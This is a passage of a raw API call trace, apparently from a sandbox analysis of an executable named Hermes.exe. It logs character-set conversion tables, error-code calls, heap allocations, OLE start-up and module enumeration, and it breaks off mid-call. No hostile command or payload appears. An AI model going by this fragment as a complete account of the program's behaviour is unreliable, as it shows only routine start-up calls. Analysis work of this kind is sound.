!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ", cchSrc=256, lpDestStr=0x19f4c8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0050.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x19fca0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x48\x96\x2b\xbd\xd8\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0050.023] GetLastError () returned 0x0 [0050.023] SetLastError (dwErrCode=0x0) [0050.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x19f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ") returned 256 [0050.023] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0050.023] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ", cchSrc=256, lpDestStr=0x19f4e8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0050.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x19fba0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x48\x96\x2b\xbd\xd8\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0050.024] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x423980, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes.exe")) returned 0x22 [0050.024] GetLastError () returned 0x0 [0050.024] SetLastError (dwErrCode=0x0) [0050.024] GetLastError () returned 0x0 [0050.024] SetLastError (dwErrCode=0x0) [0050.024] GetLastError () returned 0x0 [0050.024] SetLastError (dwErrCode=0x0) [0050.024] GetLastError () returned 0x0 [0050.024] SetLastError (dwErrCode=0x0) [0050.024] GetLastError () returned 0x0 [0050.024] SetLastError (dwErrCode=0x0) [0050.024] GetLastError () returned 0x0 [0050.024] SetLastError (dwErrCode=0x0) [0050.024] GetLastError () returned 0x0 [0050.025] SetLastError (dwErrCode=0x0) [0050.025] GetLastError () returned 0x0 [0050.025] SetLastError (dwErrCode=0x0) [0050.025] GetLastError () returned 0x0 [0050.025] SetLastError (dwErrCode=0x0) [0050.025] GetLastError () returned 0x0 [0050.025] SetLastError (dwErrCode=0x0) [0050.025] GetLastError () returned 0x0 [0050.026] SetLastError (dwErrCode=0x0) [0050.026] GetLastError () returned 0x0 [0050.026] SetLastError (dwErrCode=0x0) [0050.026] GetLastError () returned 0x0 [0050.026] SetLastError (dwErrCode=0x0) [0050.026] GetLastError () returned 0x0 [0050.026] SetLastError (dwErrCode=0x0) [0050.026] GetLastError () returned 0x0 [0050.026] SetLastError (dwErrCode=0x0) [0050.026] GetLastError () returned 0x0 [0050.026] SetLastError (dwErrCode=0x0) [0050.026] GetLastError () returned 0x0 [0050.026] SetLastError (dwErrCode=0x0) [0050.026] GetLastError () returned 0x0 [0050.027] SetLastError (dwErrCode=0x0) [0050.027] GetLastError () returned 0x0 [0050.027] SetLastError (dwErrCode=0x0) [0050.027] GetLastError () returned 0x0 [0050.027] SetLastError (dwErrCode=0x0) [0050.027] GetLastError () returned 0x0 [0050.027] SetLastError (dwErrCode=0x0) [0050.027] GetLastError () returned 0x0 [0050.027] SetLastError (dwErrCode=0x0) [0050.027] GetLastError () returned 0x0 [0050.027] SetLastError (dwErrCode=0x0) [0050.027] GetLastError () returned 0x0 [0050.027] SetLastError (dwErrCode=0x0) [0050.027] GetLastError () returned 0x0 [0050.028] SetLastError (dwErrCode=0x0) [0050.028] GetLastError () returned 0x0 [0050.028] SetLastError (dwErrCode=0x0) [0050.028] GetLastError () returned 0x0 [0050.028] SetLastError (dwErrCode=0x0) [0050.028] GetLastError () returned 0x0 [0050.028] SetLastError (dwErrCode=0x0) [0050.028] GetLastError () returned 0x0 [0050.028] SetLastError (dwErrCode=0x0) [0050.028] GetLastError () returned 0x0 [0050.028] SetLastError (dwErrCode=0x0) [0050.028] GetLastError () returned 0x0 [0050.028] SetLastError (dwErrCode=0x0) [0050.028] GetLastError () returned 0x0 [0050.028] SetLastError (dwErrCode=0x0) [0050.029] GetLastError () returned 0x0 [0050.029] SetLastError (dwErrCode=0x0) [0050.029] GetLastError () returned 0x0 [0050.029] SetLastError (dwErrCode=0x0) [0050.029] GetLastError () returned 0x0 [0050.029] SetLastError (dwErrCode=0x0) [0050.029] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x0, Size=0x2b) returned 0x2b81768 [0050.029] GetLastError () returned 0x0 [0050.029] SetLastError (dwErrCode=0x0) [0050.029] GetLastError () returned 0x0 [0050.029] SetLastError (dwErrCode=0x0) [0050.029] GetLastError () returned 0x0 [0050.029] SetLastError (dwErrCode=0x0) [0050.029] GetLastError () returned 0x0 [0050.029] SetLastError (dwErrCode=0x0) [0050.030] GetLastError () returned 0x0 [0050.030] SetLastError (dwErrCode=0x0) [0050.030] GetLastError () returned 0x0 [0050.030] SetLastError (dwErrCode=0x0) [0050.030] GetLastError () returned 0x0 [0050.030] SetLastError (dwErrCode=0x0) [0050.030] GetLastError () returned 0x0 [0050.030] SetLastError (dwErrCode=0x0) [0050.030] GetLastError () returned 0x0 [0050.030] SetLastError (dwErrCode=0x0) [0050.030] GetLastError () returned 0x0 [0050.030] SetLastError (dwErrCode=0x0) [0050.030] GetLastError () returned 0x0 [0050.030] SetLastError (dwErrCode=0x0) [0050.030] GetLastError () returned 0x0 [0050.030] SetLastError (dwErrCode=0x0) [0050.031] GetLastError () returned 0x0 [0050.031] SetLastError (dwErrCode=0x0) [0050.031] GetLastError () returned 0x0 [0050.031] SetLastError (dwErrCode=0x0) [0050.031] GetLastError () returned 0x0 [0050.031] SetLastError (dwErrCode=0x0) [0050.031] GetLastError () returned 0x0 [0050.031] SetLastError (dwErrCode=0x0) [0050.031] GetLastError () returned 0x0 [0050.031] SetLastError (dwErrCode=0x0) [0050.031] GetLastError () returned 0x0 [0050.031] SetLastError (dwErrCode=0x0) [0050.031] GetLastError () returned 0x0 [0050.031] SetLastError (dwErrCode=0x0) [0050.031] GetLastError () returned 0x0 [0050.032] SetLastError (dwErrCode=0x0) [0050.032] GetLastError () returned 0x0 [0050.032] SetLastError (dwErrCode=0x0) [0050.032] GetLastError () returned 0x0 [0050.032] SetLastError (dwErrCode=0x0) [0050.032] GetLastError () returned 0x0 [0050.032] SetLastError (dwErrCode=0x0) [0050.032] GetLastError () returned 0x0 [0050.032] SetLastError (dwErrCode=0x0) [0050.032] GetLastError () returned 0x0 [0050.032] SetLastError (dwErrCode=0x0) [0050.032] GetLastError () returned 0x0 [0050.032] SetLastError (dwErrCode=0x0) [0050.032] GetLastError () returned 0x0 [0050.033] SetLastError (dwErrCode=0x0) [0050.033] GetLastError () returned 0x0 [0050.033] SetLastError (dwErrCode=0x0) [0050.033] GetLastError () returned 0x0 [0050.033] SetLastError (dwErrCode=0x0) [0050.033] GetLastError () returned 0x0 [0050.033] SetLastError (dwErrCode=0x0) [0050.033] GetLastError () returned 0x0 [0050.033] SetLastError (dwErrCode=0x0) [0050.033] GetLastError () returned 0x0 [0050.033] SetLastError (dwErrCode=0x0) [0050.033] GetLastError () returned 0x0 [0050.033] SetLastError (dwErrCode=0x0) [0050.033] GetLastError () returned 0x0 [0050.033] SetLastError (dwErrCode=0x0) [0050.034] GetLastError () returned 0x0 [0050.034] SetLastError (dwErrCode=0x0) [0050.034] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x94) returned 0x2b817a0 [0050.034] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x1f) returned 0x2b81840 [0050.034] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x28) returned 0x2b81868 [0050.034] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x37) returned 0x2b81898 [0050.034] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x3c) returned 0x2b818d8 [0050.034] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x31) returned 0x2b81920 [0050.034] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x14) returned 0x2b81960 [0050.034] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x24) returned 0x2b81980 [0050.034] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0xd) returned 0x2b819b0 [0050.034] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x17) returned 0x2b819c8 [0050.034] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x2b) returned 0x2b819e8 [0050.034] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x15) returned 0x2b81a20 [0050.034] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x17) returned 0x2b81a40 [0050.034] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x22) returned 0x2b81a60 [0050.034] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0xe) returned 0x2b81a90 [0050.034] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0xc1) returned 0x2b81aa8 [0050.034] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x3e) returned 0x2b81b78 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x1b) returned 0x2b81bc0 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x1d) returned 0x2b81be8 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x48) returned 0x2b81c10 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x12) returned 0x2b81c60 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x18) returned 0x2b81c80 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x1b) returned 0x2b81ca0 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x24) returned 0x2b81cc8 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x29) returned 0x2b81cf8 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x1e) returned 0x2b81d30 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x6b) returned 0x2b81d58 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x17) returned 0x2b81dd0 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0xf) returned 0x2b81df0 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x16) returned 0x2b81e08 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x28) returned 0x2b81e28 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x27) returned 0x2b81e58 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x12) returned 0x2b81e88 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x21) returned 0x2b81ea8 [0050.035] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x10) returned 0x2b81ed8 [0050.036] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x1c) returned 0x2b81ef0 [0050.036] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x12) returned 0x2b81f18 [0050.036] HeapFree (in: hHeap=0x2b80000, dwFlags=0x0, lpMem=0x2b80fd0 | out: hHeap=0x2b80000) returned 1 [0050.036] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x75e90000 [0050.036] GetProcAddress (hModule=0x75e90000, lpProcName="IsProcessorFeaturePresent") returned 0x75ea5960 [0050.036] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0050.037] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x80) returned 0x2b81f38 [0050.037] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x800) returned 0x2b81fc0 [0050.038] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4123af) returned 0x0 [0050.038] RtlSizeHeap (HeapHandle=0x2b80000, Flags=0x0, MemoryPointer=0x2b81f38) returned 0x80 [0050.039] OleInitialize (pvReserved=0x0) returned 0x0 [0050.501] GetCurrentProcess () returned 0xffffffff [0050.502] GetCurrentProcess () returned 0xffffffff [0050.503] GetCurrentProcess () returned 0xffffffff [0050.504] GetCurrentProcess () returned 0xffffffff [0050.505] GetCurrentProcess () returned 0xffffffff [0050.506] GetCurrentProcess () returned 0xffffffff [0050.507] GetCurrentProcess () returned 0xffffffff [0050.508] GetCurrentProcess () returned 0xffffffff [0050.508] GetCurrentProcess () returned 0xffffffff [0050.510] GetCurrentProcess () returned 0xffffffff [0050.511] GetCurrentProcess () returned 0xffffffff [0051.187] GetCurrentProcess () returned 0xffffffff [0051.188] GetCurrentProcess () returned 0xffffffff [0051.189] GetCurrentProcess () returned 0xffffffff [0051.189] GetCurrentProcess () returned 0xffffffff [0051.190] GetCurrentProcess () returned 0xffffffff [0051.270] GetLastError () returned 0x0 [0051.270] SetLastError (dwErrCode=0x0) [0051.270] GetLastError () returned 0x0 [0051.270] SetLastError (dwErrCode=0x0) [0051.270] GetLastError () returned 0x0 [0051.270] SetLastError (dwErrCode=0x0) [0051.270] GetLastError () returned 0x0 [0051.270] SetLastError (dwErrCode=0x0) [0051.270] GetCurrentProcessId () returned 0xf4c [0051.270] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0xf4c) returned 0x15c [0051.274] Module32First (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.274] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.276] Module32Next (hSnapshot=0x15c, lpme=0x19fd18) returned 1 [0051.276] Module32Next (hSnapshot=0x15c, 